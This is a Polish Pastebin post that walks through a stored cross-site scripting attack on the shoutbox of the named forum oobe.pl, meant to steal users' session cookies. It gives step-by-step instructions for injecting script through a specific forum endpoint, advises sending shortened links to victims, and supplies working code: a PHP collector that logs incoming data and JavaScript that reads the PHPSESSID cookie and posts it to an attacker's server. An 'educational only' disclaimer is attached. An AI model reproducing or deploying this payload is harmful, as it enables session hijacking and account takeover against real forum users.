robercik1010

Untitled

Jul 23rd, 2014
280
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. XSS OOBE.pl
  2. by robercik101 :P
  3.  
  4. Chciałbym przedstawić tu koncepcję ataku XSS na użytkowników forum oobe.pl, głównie na ShoutBox,
  5. który został usunięty ze strony po tym jak odkryłem w nim błąd typu Cross Site Scripting (
  6. (http://www.oobe.pl/park/index.php?showtopic=7637), jednak dalej jest on zagrożeniem, za pomocą niego można
  7. wstrzyknąć kod JS, który przechwyci ciasteczko sesyjne i wyśle je na podany przez nas adres.
  8. Przedstawiona tu metoda została zamieszczona tylko i wyłącznie w celach edukacyjnych i używasz jej TYLKO NA WŁASNĄ
  9. ODPOWIEDZIALNOŚĆ ;)
  10. Została tu ona zamieszczona, aby pokazać jak źle jest ona zabezpieczona ;)
  11. Potrzebne narzędzia: HackBar dla FireFox
  12. Po zalogowaniu się na forum, w HackBarze zaznaczamy "Enable Post Data" i "Enable Referrer", w pierwsze pole
  13. wpisujemy:
  14. http://www.oobe.pl/park/index.php?autocom=portal&do=sb_post&xml=1
  15. w drugie:
  16. Post=tu_nasza_tresc&sb_id=&
  17. tu_nasza_tresc to nasz text do zapostowania ;)
  18. Często wymaga on zakodowania w formacie URL, wtedy zaznaczamy tu_nasza_tresc, wchodzimy w menu "Encoding" i klikamy
  19. URLEncode
  20. W trzecie pole wpisujemy:
  21. http://www.oobe.pl/park/index.php
  22. I wciskamy przycisk "Execute" ;)
  23. Powinna się pojawić biała strona z napisem "ok" w rogu
  24. Teraz można sprawdzić czy nasz tekst się zapostował wchodząc na
  25. http://www.oobe.pl/park/index.php?autocom=portal&do=shoutbox
  26. Link powyżej można wysłać w czystej formie lub skracać na tinyurl.com i wysłać ofierze u której chcemy aby nasz
  27. skrypt się uruchomił ;)
  28.  
  29. A tu skrypt przechwytujący ciasteczko sesyjne, składa się on z dwóch elementów, pliku save.php który wrzucamy na serwer
  30. i który zapisuje ciasteczko a drugi przechwytuje je i wysyła je do tego skryptu do poprzedniego (save.php),
  31. prawda, że proste? :P
  32.  
  33. save.php
  34. == CUT HERE ==
  35. <?
  36. $fp = fopen("data.txt","a");
  37. foreach($_POST as $A=>$B){
  38. fwrite($fp,$A."=".$B."\n");
  39. }
  40. fclose($fp);
  41. ?>
  42. == CUT HERE ==
  43. To wrzucamy do shoutboxa jako tu_nasza_tresc (trzeba zakodować!,
  44. jak wrzucasz kod bezpośredni nie zapomnij o tagach <script> i </script> przed i po kodzie
  45. ) albo jako plik js na zdalnym serwerze i dołączyć
  46. go za pomocą tagu <script> z parametrem src ;) (lepiej wybrać to drugie!)
  47.  
  48. == CUT HERE ==
  49. //Funkcja pobierające cookie
  50. function getCookie(cname)
  51. {
  52. var name = cname + "=";
  53. var ca = document.cookie.split(';');
  54. for(var i=0; i<ca.length; i++)
  55. {
  56. var c = ca[i].trim();
  57. if (c.indexOf(name)==0) return c.substring(name.length,c.length);
  58. }
  59. return "";
  60. }
  61. var xml;
  62. if (window.XMLHttpRequest){
  63. xml=new XMLHttpRequest();
  64. }
  65. else
  66. {
  67. xml=new ActiveXObject("Microsoft.XMLHTTP");
  68. }
  69. xml.open("POST","http://adres_twojej_strony/save.php",true);
  70. xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  71. xml.send("sid="+getCookie("PHPSESSID"));
  72. == CUT HERE ==
  73.  
  74. Pozdrawiam i życzę szczęśliwego roku 2014 ;)
  75. robercik101 ;)
  76.  
  77. Aktualizacja:
  78. Błąd dalej tam tkwi, więc upubliczniam ten tekst, może to sprawi że admin to poprawi :)
Add Comment
Please, Sign In to add comment